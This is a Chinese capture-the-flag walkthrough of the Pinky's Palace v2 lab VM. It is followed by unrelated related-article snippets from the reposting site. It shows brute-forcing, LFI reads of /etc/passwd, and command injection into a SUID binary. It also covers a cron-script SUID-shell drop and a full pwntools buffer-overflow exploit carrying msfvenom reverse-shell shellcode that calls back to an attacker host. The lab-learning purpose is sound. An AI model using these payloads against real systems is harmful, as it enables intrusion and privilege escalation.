PinkysPalaceV2靶场详解IDA逆向查看缓存区溢出漏洞原理以及使用kali gdb使用超详细三次提权字典生成

news2024/11/25 8:19:30

下载链接:

Pinky's Palace: v2 ~ VulnHub

安装:

正常用vm虚拟机打开即可,注意导入时所选择的硬盘存储目录应为空目录,否则会导入失败

根据下载链接提示我们需要更改host文件,以便于我们可以正常访问

kali中的host文件位置为 /etc/host

直接输入

vim /etc/hosts

进行编辑即可,在后面加一条192.168.1.3 pinkydb

在本机中host文件位置为C:\Windows\System32\drivers\etc

用记事本打开然后进行添加即可

正文:

得知靶场ip为192.168.1.3

用nmap对靶场端口进行扫描

nmap -p- 192.168.1.3 -r -PN

得到一个80端口开放

访问80端口

滑到最下面得知是wp框架

wp框架有专门的工具进行扫描,我们枚举下用户

​wpscan --url http://192.168.1.3 --enumerate u

将得到的用户名保存起来

没有其他可以利用的位置,我们进行目录扫描

​dirb http://pinkydb/

在该目录下发现一个文本

经过访问得到了三个类似于端口的东西以及一个用户,我们将其保存下来

结合之前nmap扫描的结果中有端口的状态为过滤,我们可以尝试使用端口敲门

(如果您希望人们可以访问您计算机上的服务,但又不想将防火墙打开到Internet,则可以使用端口断开功能。 它允许您关闭防火墙上允许传入连接的端口,并在进行预先安排的连接尝试方式时自动打开它们。 连接尝试的顺序充当秘密敲门。相当于密码门,我们需要正确的输入密码即按照顺序访问不同的端口才能打开“门”)

需要用到的工具为knock(安装方式:sudo apt-get install knockd iptables-persistent)

指令格式:knock port1 port2 port3

我们需要排列不同的组合来进行依次尝试,我们可以手动进行挨个尝试,也可以编写python脚本进行自动化尝试

我这里采用了python脚本自动化尝试的办法(手动测试容易遗漏排列顺序)

import itertools

import subprocess



# 生成给定数字的所有不同组合

numbers = [8890, 7000, 666]

combinations = list(itertools.permutations(numbers))



# 使用knock工具对每个组合进行尝试

def run_knock():

    command = f"knock -v pinkydb {combo[0]} {combo[1]} {combo[2]}"

    print(command)

    subprocess.run(command,shell=True)#运行shell,即运行工具命令



if __name__ == '__main__':

    for combo in combinations:

        run_knock()

python k.py

我们再次使用nmap对靶场进行扫描

nmap -p- 192.168.1.3 -r -PN

之前的三个端口状态变为了开启

我们对端口进行指纹探测

nmap -p 4655,7654,31337 -r -PN -A -sC -sV 192.168.1.3

发现7654端口同样为http服务,我们进行访问(如果用的kali进行的敲门服务则需要用kali进行访问,如果用本机进行的敲门服务需要用本机进行的访问,否则会访问失败,我这里的测试均为在kali中进行)

http://pinkydb:7654/

简简单单一个按钮

是个登陆框,尝试使用sql万能密码或者sql注入登陆

经过尝试均以失败告终,该位置并没有sql注入漏洞

用之前信息搜集到的两个账号尝试使用hydra进行爆破

hydra -L user.txt -P user.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"

http-post-form代表提交方式为http的post提交,后续的参数均为网页中对应的表单字段的name属性,/login.php为登陆页面名称,user=^USER^&pass=^PASS^为我们提交的表单,账号密码位置需要用^USER^以及^PASS^进行标识,F=Invalid Username or Password表示如果账号密码不正确会返回什么特征,三个参数中间用“:”,隔开不同网页会有不同的参数

按F12打开开发者工具中的网络选项,然后随便输入一个账号密码进行登陆,获取到表单

在响应位置的这里则是账号密码错误的特征(其他网页不一定!)

详情链接(Hydra(爆破密码)使用方法 - GoodGad - 博客园 (cnblogs.com)以及Hydra爆破[无验证码]Web页面_hydra 网页-CSDN博客)

果然爆破失败了。。。。

我们尝试在主页上爬取一份字典,看能不能爆破成功

​cewl http://pinkydb/ -w dict.txt

然后我们再次尝试使用hydra进行爆破(同样也可以选择用bp爆破,不过不知道为什么在kali中bp爆破速度太慢了,所以我选择用hydra)

hydra -L dict.txt -P dict.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"

爆破成功!!

得到账号密码为

Pinky:Passione

尝试进行登陆

登陆成功后给了一个ssh密钥以及一个用户名

将用户名进行保存

将ssh登陆密钥下载下来

我直接邮件复制链接然后使用wget指令下载下来,方便进行查找以及保存

​wget http://pinkydb:7654/credentialsdir1425364865/id_rsa

获取shell:

在之前的nmap扫描结果中,得知4655为ssh登陆

尝试使用密钥进行登陆

登陆账号则为刚刚获得的用户名Stefano

ssh stefano@192.168.1.3 -p 4655 -i id_rsa

如果有该提示,则说明密钥权限高并不受保护,所以自动放弃了密钥登陆

需要将密钥权限降低

chmod 600 id_rsa

然后再次尝试登陆

但是发现密钥也需要密码

我们可以用john工具对密钥的密码进行爆破,不过在爆破之前我们需要将密钥转换为john可以识别的内容

我们需要用到ssh2john工具

ssh2john id_rsa > id2_rsa

然后使用john工具进行爆破,字典就选择kali自带的字典进行爆破尝试

john --wordlist=/usr/share/wordlists/rockyou.txt id2_rsa

(如果发现没有该字典,大概率是字典文件没有解压,可以切换到wordlists目录下将rockyou进行解压)

得到登陆密码secretz101(这个字典真的好用)

再次登陆

ssh stefano@192.168.1.3 -p 4655 -i id_rsa

输入密码secretz101

登陆成功

在当前目录下发现tools文件夹以及qsub可运行文件

意思大概为可以用这个文件给pinky发消息

我们尝试一下

但是需要输入密码

我们尝试输入之前的密码,发现不对

那尝试读取该文件

strings qsub

不让读取,我们将该文件下载下来

在当前目录下开启http服务

python3 -m http.server 8080

回到kali中将该文件下载下来

​wget http://192.168.1.3:8080/qsub

权限不太够

但是发现我们之前获得到ssh密钥的网页好像有文件包含漏洞

http://pinkydb:7654/pageegap.php?1337=../../../../../../../etc/passwd

那我们可以尝试用这个方法去读取一下qsub文件

查看下路径

pwd

正好发现该文件同样属于www-data

构造url进行读取

http://pinkydb:7654/pageegap.php?1337=../../../../../../../home/stefano/tools/qsub

那再次尝试下载

​wget http://pinkydb:7654/pageegap.php?1337=../../../../../../../home/stefano/tools/qsub

将该文件改名方便后续操作

mv 'pageegap.php?1337=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fstefano%2Ftools%2Fqsub' qsub

查看该文件

strings qsub

在这里发现我们所输入的内容会赋值到%s上,但是他下方像是调用了一个环境变量

我们去查看下这个环境变量

echo $TERM

虽然不懂是什么意思,但是当我尝试将其当作密码输入时,提示密码正确!

第一次提权:

尝试使用拼接命令,类似于sql注入将命令拼接起来

./qsub "123;id;"

执行成功

那尝试开启一个shell

./qsub "123;/bin/bash -p;"

(-p则为以当前最高权限开启)

成功!

在家目录中发现一共有三个用户

先回到自己的目录下

cd /home/pinky

在目录下的messages文件夹中没有发现东西

我们查看一下历史命令

cat .bash_history

发现了一点东西,去看看有没有作用

通过查看计划任务发现该目录下的文件为计划任务文件

cat /etc/crontab

我们可以通过编辑该文件从而进一步提权,但是我们是“借用”的pinky用户,所以无法编辑该文件,我们需要更新下用户组

newgrp

现在我们就可以更改该文件了

第二次提权:

vim backup.sh

我们可以在该位置写一个反弹shell或者直接复制一个高权限的bash出来

我直接选择复制一个高权限shell到/tmp目录下,因为该目录一般操作文件权限较高比如下载、写入、删除、运行等

在该文件中写入

cp /bin/bash /tmp/shell #复制一个bash交互到/tmp文件夹下并命名为shell

chmod ugo+x /tmp/shell #赋予所有人运行权限

chmod u+s /tmp/shell #当文件被执行时,根据who参数指定的用户类型设置文件的setuid或者setgid权限

退出该文件的编辑需要输入 :wq!  不然无法退出

然后我们去到/tmp目录下稍等片刻

我们修改的命令生效了

运行该bash

./shell -p

进一步提权了

回到该用户的目录下,发现只有一份网站源码,并没有其他有用的东西

并且历史命令为空

查看具有suid权限的文件也没有发现可以提权的文件

查看具有root权限的进程

ps -aux | grep root

发现在daemon目录下有一个可疑文件

我们去到对应目录下查看

cd /daemon
strings panel

其中他说这是一个后门程序,不过这个提示很眼熟

我们最开始用nmap对端口进行指纹探测时触发过该提示

看来31337端口则是该文件所监听的端口,如果监听成功则会提示welcome

运行一下看看

全是链接错误提示

将该文件下载下来

在当前目录下开启http服务,然后回到kali中下载

python3 -m http.server 8080

wget http://192.168.1.3:8080/panel

在kali中打开该文件

./panel

新建一个窗口进行nc链接一下

nc 127.0.0.1 31337

但是该窗口并没有任何反应

回到主机中访问链接

http://192.168.1.3:8080/panel

将文件下载后用ida简单查看一下

然后一直点OK即可

在左侧双击main函数,然后按下F5进行简单的查看一下

根据我们之前运行后的提示我们可以找到该位置

v8是消息内容,放到变量buf

我们所输入的数据会存放到buf中然后传参给handlecmd函数

双击handlecmd

回到kali中,我们需要用到一款kali的逆向工具gdb

先安装gdb

apt install gdb

并且需要一份gdb的peda插件

插件的安装方法

先将插件下载到一个固定位置,下载好后就不能更改位置以及名称

​git clone https://github.com/longld/peda.git ~/peda

下载完成后打开

我们需要该python文件的路径

然后到/etc/gdb目录下找到gdbinit文件(如果你是用apt安装的gdb的话,否则你需要自行寻找gdbinit位置)

vim gdbinit

我们需要在该文件中写入peda.py文件路径

source /root/gdb_pead/peda/peda.py

可以用该命令验证是否安装成功

gdb -v

插件安装成功截图

如果一直不行的话可以去看看这篇文章:pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_kali gdb-CSDN博客

gdb panel

然后输入  r

让panel开始运行

新开窗口进行nc链接

nc 127.0.0.1 31337

用cyclic工具生成112个字符(pip install --upgrade pwntools)(因为根据之前的逆向得知最大接受限度为112)

cyclic 112

当我们正好输入112个字符时,并没有任何反应,程序正常运行

(经过测试每次调试结束后都需要用killall杀死一遍进程)

这次我们尝试200个字符

程序直接报错了

我们用cyclic工具可以计算一下是多少字符正好可以填满RSP,取RSP的前四个字符就可以计算

得到当我们输入120个字符时,RSP会正好被填满

RIP是存储接下来需要执行命令的位置,如果我们填写的字符数超过了120,则剩下的数据会填写到RIP中,而又因为RIP中存储的为接下来需要执行命令的位置(0x123456格式),所以我们需要正正好好填写120个字符才不会影响接下来的命令执行,如果填写的字符数不足120,则后续在RIP中填写的数据会优先填写到RSP中,从而导致RIP执行命令的位置出现错误,就不会由我们操控,所以我们的思路就是:用msf生成一个shellcode,并且保证为120字符(正好填满RSP),然后在shellcode后加上一个命令地址(0x123456格式),因为RSP已满,所以会到RIP上,又因为RIP为接下来需要执行命令的位置,所以我们可以控制RIP的内容为有Jmp RSP指令或Call RSP指令的地址,这样就会跳转到RSP上(我们构造的payload就在RSP上)

(RSP是一个栈指针寄存器,它指向当前堆栈的栈顶。栈顶是堆栈中最新分配的内存位置。在函数调用过程中,参数、局部变量和其他临时数据都存储在堆栈中。通过调整RSP的值,可以在堆栈上分配和释放内存。在函数调用时,RSP的值被保存在堆栈中,并在函数返回时恢复堆栈状态。)

我们使用msf生成一个shellcode并且排除其中的“x00”,因为会造成截断,

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f python -b '\x00'

生成出来的大小为119字符,我们就随便在后面补上一个就好

第三次提权:

编写一个exp脚本

vim shell.py
from pwn import * #这是导入 pwntools 库,它是一个用于漏洞利用和二进制漏洞开发的 Python 库。

buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xcb\x91\x2d\xd0\xf2"
buf += b"\x11\x37\x28\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xa1\xb8\x75\x49\x98\x13\x68\x42\xca"
buf += b"\xcf\x22\xd5\xba\x86\x7f\x91\xc9\x91\x3c\x8c\x32"
buf += b"\xb9\x36\x2c\x9a\xd9\xa4\x36\x98\x01\x6d\x42\xe1"
buf += b"\xc9\x22\xd5\x98\x12\x69\x60\x34\x5f\x47\xf1\xaa"
buf += b"\x1e\x32\x5d\x3d\xfb\x16\x88\x6b\x59\x8c\x07\xa9"
buf += b"\xf8\x43\xff\x81\x79\x37\x7b\x83\x18\xca\x82\xa5"
buf += b"\x59\xbe\xce\xc4\x94\x2d\xd0\xf2\x11\x37\x28\x74"

ret = p64(0x400cfb) #创建一个长度为 8 字节的字符串,其中包含内存地址 0x400cfb 的字节表示。这是一个返回地址,用于在堆栈溢出后控制程序的执行流程。

#ret = "\xfb\x0c\x40\x00"

print (ret)

payload = buf + ret #创建一个新的字节串 payload,将 buf 和 ret 连接起来。这个 payload 包含了恶意输入,用于触发堆栈溢出,并将程序的执行流程指向 0x400cfb。


r = remote("192.168.1.3", 31337) #创建一个IP 地址为 192.168.1.3,端口号为 31337 的远程连接对象。这意味着代码将尝试与运行在本地计算机上的服务器建立连接。

r.recv() #接收来自远程服务器的数据。这里用于清空接收缓冲区。

r.send(payload) #向远程服务器发送 payload 数据,触发堆栈溢出漏洞。

print("ok")

新开一个kali窗口并打开nc监听

nc -lvvp 4444

运行python脚本

python shell.py

nc监听成功

缓存区溢出大概意思

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1557672.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux中常用命令(文件、目录和文件压缩)及功能示例

一、Linux关于文件与目录的常用命令及其功能示例 命令: ls 全名: List (列表) 常用选项: -l: 详细列表格式,显示详细信息。-a: 显示所有文件,包括隐藏文件。 功能: 列出目录内容。 示例: ls -la /home 此命令以详细格式列出/home目录中的所有文件&#x…

css3之2D转换transform

2D转换transform 一.移动(translate)(中间用,隔开)二.旋转(rotate)(有单位deg)1.概念2.注意点3.转换中心点(transform-origin)(中间用空格)4.一些例子(css三角和旋转) 三…

VAE——生成数字(Pytorch+mnist)

1、简介 VAE(变分自编码器)同样由编码器和解码器组成,但与AE不同的是,VAE通过引入隐变量并利用概率分布来学习潜在表示。VAE的编码器学习将输入数据映射到潜在空间的概率分布的参数,而不是直接映射到确定性的潜在表示…

Astro 宣布:将超过 500 多个测试从 Mocha 迁移到了 Node.js

近期,Astro 在其官方博客中宣布,虽然我们对 Mocha 感到满意,但也在寻求让我们的 CI 作业更快的方法。最终将超过 500 多个测试从 Mocha 迁移到了 Node.js。 先了解下 Astro 是什么?Astro 是适合构建像博客、营销网站、电子商务网站…

2_1.Linux中的网络配置

#1.什么是IP ADDRESS# internet protocol ADDRESS ##网络进程地址 ipv4 internet protocol version 4 ip是由32个01组成 11111110.11111110.11111110.11111110 254.254.254.254 #2.子网掩码# 用来划分网络区域 子网掩码非0的位对应的ip上的数字表示这个ip的网络位 子网掩码0位…

TC16-161T+ 音频 信号变压器 RF Transformers 600kHz-160MHz 射频集成电路 Mini-Circuits

Mini-Circuits是一家全球领先的射频、微波和毫米波元器件及子系统制造商。TC16-161T是Mini-Circuits出产的一款射频IC(射频集成电路),具有平衡-不平衡转换器功用。制造商: Mini-Circuits 产品品种: 音频变压器/信号变压器 RoHS…

JWFD流程图转换为矩阵数据库的过程说明

在最开始设计流程图的时候,请务必先把开始节点和结束节点画到流程图上面,就是设计器面板的最开始两个按钮,先画开始点和结束点,再画中间的流程,然后保存,这样提交到矩阵数据库就不会出任何问题,…

实习管理系统的设计与实现|Springboot+ Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)

本项目包含可运行源码数据库LW,文末可获取本项目的所有资料。 推荐阅读100套最新项目持续更新中..... 2024年计算机毕业论文(设计)学生选题参考合集推荐收藏(包含Springboot、jsp、ssmvue等技术项目合集) 1. 前台功能…

zabbix主动发现,注册及分布式监控

主动发现 结果 主动注册 结果 分布式监控 服务机:132 代理机:133 客户端:135 代理机 数据库赋权: 代理机配置 网页上配置代理 客户端配置 网页上配置主机 重启代理机服务 网页效果

开源知识库平台Raneto--使用Docker部署Raneto

文章目录 一、Raneto介绍1.1 Raneto简介1.2 知识库介绍 二、阿里云环境2.1 环境规划2.2 部署介绍 三、本地环境检查3.1 检查Docker服务状态3.2 检查Docker版本3.3 检查docker compose 版本 四、下载Raneto镜像五、部署Raneto知识库平台5.1 创建挂载目录5.2 编辑config.js文件5.…

书生·浦语训练营二期第一次笔记

文章目录 书生浦语大模型全链路开源体系视频笔记Intern2模型体系 训练数据集书生浦语全链条开源开放体系开放高质量语料数据预训练微调中立全面性能榜单大模型评测全栈工具链部署 书生浦语大模型全链路开源体系-Bilibili视频InternLM2技术报告(中文)Inte…

C#基础知识总结

C语言、C和C#的区别 ✔ 面向对象编程(OOP): C 是一种过程化的编程语言,它不直接支持面向对象编程。然而,C 是一种支持 OOP 的 C 的超集,它引入了类、对象、继承、多态等概念。C# 是完全面向对象的&#xff…

酷柚易讯无人空间小程序注册后需开通的部分接口权限

注意:无人共享小程序注册认证与备案后,需要开通以下接口系统才能正常使用! 登录小程序后,找到开发管理->接口设置(申请对应的接口权限)

设计模式10--适配器模式

定义 案例一 案例二 优缺点

用html实现一个手风琴相册设计

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>手风琴相册设计</title><link rel"stylesheet" href"./style.css"> </head> <body> <h1>Accordio…

S7-1500PLC与ABB机器人RobotStudio调试演示

(1)建立空工作站 (2)选择机器人、导入吸盘、托盘、传送带 (3) 将导入的吸盘变为工具 (4)创建机器人系统 布局如下 (5)创建物体 (6)设置物体本地原点 (7)创建传送带Smart组件 (8)创建吸盘Smart组件 将吸盘的传感器拖到吸盘上 (9)示教目标点 (10)同步示教点 (11)添加信号 创建…

汽车租赁(源码+文档)

汽车租赁&#xff08;小程序、ios、安卓都可部署&#xff09; 文件包含内容程序简要说明含有功能项目截图客户端登录界面首页订单个人信息我的界面新手指引注册界面车型选择支付界面修改信息 管理端用户管理订单管理分类管理 文件包含内容 1、搭建视频 2、流程图 3、开题报告 …

Uibot6.0 (RPA财务机器人师资培训第4天 )批量开票机器人案例实战

类似于小北之前发布的一篇博客&#xff08;不能说很像&#xff0c;只能说是一模一样&#xff09; Uibot (RPA设计软件&#xff09;财务会计Web应用自动化(批量开票机器人&#xff09;-CSDN博客https://blog.csdn.net/Zhiyilang/article/details/136782171?spm1001.2014.3001.…

搜索与图论——染色法判定二分图

一个图是二分图当且仅当这个图中不含奇数环 由于图中没有奇数环&#xff0c;所以染色过程中一定没有矛盾 所以一个二分图一定可以成功被二染色&#xff0c;反之在二染色的过程中出现矛盾的图中一定有奇数环&#xff0c;也就一定不是二分图 #include<iostream> #includ…

Unity LineRenderer的基本了解

在Unity中&#xff0c;LineRenderer组件用于在场景中绘制简单的线条。它通常用于绘制轨迹、路径、激光等效果。 下面来了解下它的基本信息。 1、创建 法1&#xff1a;通过代码创建 using UnityEngine;public class CreateLineRenderer : MonoBehaviour {void Start(){// 创…